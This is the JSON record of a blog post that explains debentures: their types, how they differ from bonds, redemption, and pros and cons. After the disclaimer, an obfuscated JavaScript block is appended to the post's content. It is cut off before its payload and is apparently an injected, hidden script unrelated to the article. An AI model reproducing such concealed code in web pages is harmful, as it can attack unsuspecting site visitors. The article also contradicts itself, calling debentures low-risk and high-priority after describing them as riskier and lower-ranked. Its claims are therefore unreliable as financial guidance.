{"id":6906,"date":"2024-03-04T12:04:53","date_gmt":"2024-03-04T12:04:53","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=6906"},"modified":"2024-03-04T12:12:54","modified_gmt":"2024-03-04T12:12:54","slug":"debentures-meaning-features-and-types","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/","title":{"rendered":"All About Debentures: Types, Redemption, Advantages &amp; More"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#What_are_Debentures\" >What are Debentures?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Exploring_the_Difference_Between_Bonds_and_Debentures\" >Exploring the Difference Between Bonds and Debentures<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Security\" >Security<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Interest_Rate\" >Interest Rate<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Convertibility\" >Convertibility<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Priority\" >Priority<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Exploring_the_Types_of_Debentures\" >Exploring the Types of Debentures<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Convertible_Debentures\" >Convertible Debentures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Non-Convertible_Debentures_NCDs\" >Non-Convertible Debentures (NCDs)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Secured_Debentures\" >Secured Debentures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Unsecured_Debentures\" >Unsecured Debentures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Redeemable_Debentures\" >Redeemable Debentures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Non-Redeemable_Debentures\" >Non-Redeemable Debentures<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Redemption_of_Debentures\" >Redemption of Debentures&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Advantages_of_Debentures\" >Advantages of Debentures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Disadvantages_of_Debentures\" >Disadvantages of Debentures<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/#FAQs_What_are_Debentures\" >FAQs| What are Debentures<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/bonds\/\">Bonds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>All About Debentures: Types, Redemption, Advantages &amp; More<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\">Have you been looking for a fixed-income investment? The one that offers regular interest payments and a high degree of safety? Ever heard about debentures? They are long-term debt instruments issued by corporations or governments to raise funds for their projects or operations. But what are the types of debentures in which you can invest?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us take a look!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-are-debentures\"><span class=\"ez-toc-section\" id=\"What_are_Debentures\"><\/span>What are Debentures?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">These are long-term debt instruments issued by corporations or governments to raise capital. They usually have a fixed interest rate and a maturity date.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Debentures are like loans that companies take from people like you. When you buy a debenture, you&#8217;re lending money to the company. In return, the company promises to pay you back the money with interest at a fixed time in the future.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It&#8217;s a way for companies to raise funds for their projects or expansions without giving away ownership. So, when you invest in debentures, you&#8217;re basically becoming a lender to the company instead of a shareholder.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Debentures examples in the Indian market include those issued by companies like Tata Motors, Reliance Industries, and Infosys.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These companies raise funds by offering debentures to investors. When you invest in these debentures, you&#8217;re essentially lending money to these companies in exchange for regular interest payments. So, it&#8217;s like you&#8217;re helping them grow while earning interest on your investment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But what is the difference between <a href=\"https:\/\/shoonya.com\/blog\/types-of-bonds-in-india\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">bonds<\/mark><\/a> and debentures?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us understand!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-exploring-the-difference-between-bonds-and-debentures\"><span class=\"ez-toc-section\" id=\"Exploring_the_Difference_Between_Bonds_and_Debentures\"><\/span>Exploring the Difference Between Bonds and Debentures<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"2146\" height=\"1298\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/03\/Bonds-vs-Debentures-Know-the-Differences-1.jpg\" alt=\"Bonds vs Debentures: Know the Differences\n\" class=\"wp-image-6932\"\/><figcaption class=\"wp-element-caption\">Bonds vs Debentures: Know the Differences<br><\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Basis<\/strong><\/td><td><strong>Bonds<\/strong><\/td><td><strong>Debentures<\/strong><\/td><\/tr><tr><td>Definition<\/td><td>Debt instruments with asset backing<\/td><td>Debt instruments without asset backing<\/td><\/tr><tr><td>Security<\/td><td>Secured by assets<\/td><td>Unsecured (depends on creditworthiness)<\/td><\/tr><tr><td>Interest Rate<\/td><td>Lower<\/td><td>Higher<\/td><\/tr><tr><td>Convertibility<\/td><td>Non-convertible<\/td><td>Can be convertible<\/td><\/tr><tr><td>Priority<\/td><td>Higher in case of liquidation<\/td><td>Lower in case of liquidation<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">You may wonder what to choose when we talk about fixed-income securities. Let\u2019s take a look at the key differences between bonds and debentures.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"2-security\"><span class=\"ez-toc-section\" id=\"Security\"><\/span>Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Bonds are secured by the assets of the issuer, providing a higher level of security to the investors.<\/li>\n\n\n\n<li>Debentures are unsecured and depend on the creditworthiness of the issuer, making them riskier than bonds.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"3-interest-rate\"><span class=\"ez-toc-section\" id=\"Interest_Rate\"><\/span>Interest Rate<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Bonds usually have a lower interest rate as they are less risky and more stable.<\/li>\n\n\n\n<li>Debentures usually have a higher interest rate than bonds, as they are more risky and less stable than bonds.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"4-convertibility\"><span class=\"ez-toc-section\" id=\"Convertibility\"><\/span>Convertibility<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Bonds are usually non-convertible, meaning they cannot be converted into equity shares or other securities of the issuer.<\/li>\n\n\n\n<li>Debentures can be convertible or non-convertible, meaning they can or cannot be converted into equity shares or other securities of the issuer.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"5-priority\"><span class=\"ez-toc-section\" id=\"Priority\"><\/span>Priority<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Bonds have a higher priority than debentures in the event of liquidation of the issuer, as they are secured by the assets of the issuer.<\/li>\n\n\n\n<li>Debentures have a lower priority than bonds in the event of liquidation of the issuer, as they are unsecured and rank after the secured creditors.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-exploring-the-types-of-debentures\"><span class=\"ez-toc-section\" id=\"Exploring_the_Types_of_Debentures\"><\/span>Exploring the Types of Debentures<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There are different types of debentures based on their security, tenure, convertibility, coupon rate, registration, and priority.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"7-convertible-debentures-\"><span class=\"ez-toc-section\" id=\"Convertible_Debentures\"><\/span><strong>Convertible Debentures<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These grant the holder the right to convert them into equity shares of the issuing company. You can do it at a predetermined conversion ratio and within a specified time frame.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, if the company does well, you can switch your these for shares and become a part-owner.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-non-convertible-debentures-ncds-\"><span class=\"ez-toc-section\" id=\"Non-Convertible_Debentures_NCDs\"><\/span><strong>Non-Convertible Debentures (NCDs)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These are not convertible into equity shares. These remain as debt instruments until maturity. The issuing company repays the principal amount along with the agreed-upon interest.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">They stick to being loans until they mature, and the company pays you back with interest.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-secured-debentures-\"><span class=\"ez-toc-section\" id=\"Secured_Debentures\"><\/span><strong>Secured Debentures<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These are backed by collateral, such as the assets of the issuing company.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In case of default, the debenture holders have a claim on the specified assets.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, if the company can&#8217;t pay you back, you can claim those assets to get your money back.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"10-unsecured-debentures-\"><span class=\"ez-toc-section\" id=\"Unsecured_Debentures\"><\/span><strong>Unsecured Debentures<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Also known as &#8216;Debentures without a charge,&#8217; these are not backed by any collateral. They rely solely on the creditworthiness and reputation of the issuing company.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These are riskier. They aren&#8217;t backed by any specific assets, so if the company can&#8217;t pay, you might struggle to get your money back.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"11-redeemable-debentures\"><span class=\"ez-toc-section\" id=\"Redeemable_Debentures\"><\/span>Redeemable Debentures<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These debentures are like loans with a fixed repayment date. The issuer agrees to pay back the principal amount along with interest on a specified date.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is just like how you repay a loan by a certain deadline.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"12-non-redeemable-debentures\"><span class=\"ez-toc-section\" id=\"Non-Redeemable_Debentures\"><\/span>Non-Redeemable Debentures<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">These debentures don&#8217;t have a fixed repayment date. It&#8217;s like lending money to someone with no set deadline for them to pay you back.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">They might pay you interest regularly. But there&#8217;s no promise of getting your principal amount back by a specific date.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-redemption-of-debentures-\"><span class=\"ez-toc-section\" id=\"Redemption_of_Debentures\"><\/span><strong>Redemption of Debentures<\/strong>&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Redemption of debentures is like returning borrowed money.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When a company issues these, it&#8217;s like borrowing cash from investors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But at some point, the company pays back that money. This payment-back process is called redemption. It&#8217;s similar to repaying a loan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So, when a company redeems its debentures, it&#8217;s basically returning the money it borrowed from investors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is the process through which a company repays the amount borrowed by redeeming or buying back the debentures issued to investors. It involves returning the principal amount along with any accrued interest or premium to the debenture holders. This extinguishes the company&#8217;s obligation towards the debenture holders.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;There are various methods of redemption:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Payment in a lump sum<\/li>\n\n\n\n<li>Payment in instalments,<\/li>\n\n\n\n<li>Purchase in the open market and conversion into shares.&nbsp;<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"14-advantages-of-debentures\"><span class=\"ez-toc-section\" id=\"Advantages_of_Debentures\"><\/span>Advantages of Debentures<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are some of the reasons you should consider debentures:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Flexibility in Terms<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Companies issuing debentures have flexibility in setting terms such as interest rates and redemption periods. This allows them to tailor the terms to suit their financial needs.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>No Dilution of Ownership<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Unlike equity financing, debenture holders do not have voting rights or ownership claims. This ensures that existing shareholders&#8217; control and ownership percentages remain unchanged.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Tax Deductibility<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Interest payments on debentures are tax-deductible expenses for the issuing company. It reduces its overall tax liability and enhances its financial efficiency.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"15-disadvantages-of-debentures\"><span class=\"ez-toc-section\" id=\"Disadvantages_of_Debentures\"><\/span>Disadvantages of Debentures<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are certain cons of buying debentures<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>High-Interest Payments<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">These often require regular interest payments. This can impose a considerable financial burden on the issuing company.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Risk of Default<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Since these are unsecured, investors bear the risk of default if the issuing company fails to meet its financial obligations.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Impact on Credit Rating<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Issuing debentures can increase the company&#8217;s debt levels. This affects its credit rating and ability to secure future financing at favourable terms.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"16-conclusion\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Debentures are different from bonds in terms of security, interest rate, convertibility, and priority. They are suitable for investors who are looking for a stable and predictable income stream with low risk and high priority. However, investors should also be aware of the risk of default, the impact on credit rating, and the tax implications of investing in debentures.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"17-faqs-what-are-debentures\"><span class=\"ez-toc-section\" id=\"FAQs_What_are_Debentures\"><\/span>FAQs| What are Debentures<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1709538650487\"><strong class=\"schema-faq-question\">What is a bond and a debenture?<\/strong> <p class=\"schema-faq-answer\">A bond is a debt instrument that is secured by the issuer&#8217;s assets, while a debenture is an unsecured debt instrument that relies on the issuer&#8217;s creditworthiness.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1709538668893\"><strong class=\"schema-faq-question\">Why do people use debentures?<\/strong> <p class=\"schema-faq-answer\">People use debentures as a way of raising long-term funds for their projects or operations without diluting their ownership or control. Debentures also offer a lower cost of capital than equity, as the interest payments are tax-deductible.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1709538683349\"><strong class=\"schema-faq-question\">What are the benefits of debentures?<\/strong> <p class=\"schema-faq-answer\">Debentures offer several benefits to both the issuers and the investors. For the issuers, debentures provide flexibility in terms of interest rate, maturity period, and convertibility. For the investors, debentures provide a regular and stable source of income.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The one that offers regular interest payments and a high degree of safety? Ever heard about debentures? They are long-term debt instruments issued by corporations or governments to raise funds for their projects or operations. But what are the types of debentures in which you can invest?&nbsp; &hellip; <a href=\"https:\/\/shoonya.com\/blog\/debentures-meaning-features-and-types\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;All About Debentures: Types, Redemption, Advantages &amp; More&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":6908,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[49],"tags":[3462,580,3463,3461,2141,3460,3458,3459],"class_list":["post-6906","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bonds","tag-advantages-and-disadvantages-of-debentures","tag-debentures","tag-debentures-examples","tag-difference-between-bonds-and-debentures","tag-non-convertible-debentures-2","tag-redemption-of-debentures","tag-types-of-debentures","tag-what-are-debentures"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>What are Debentures? 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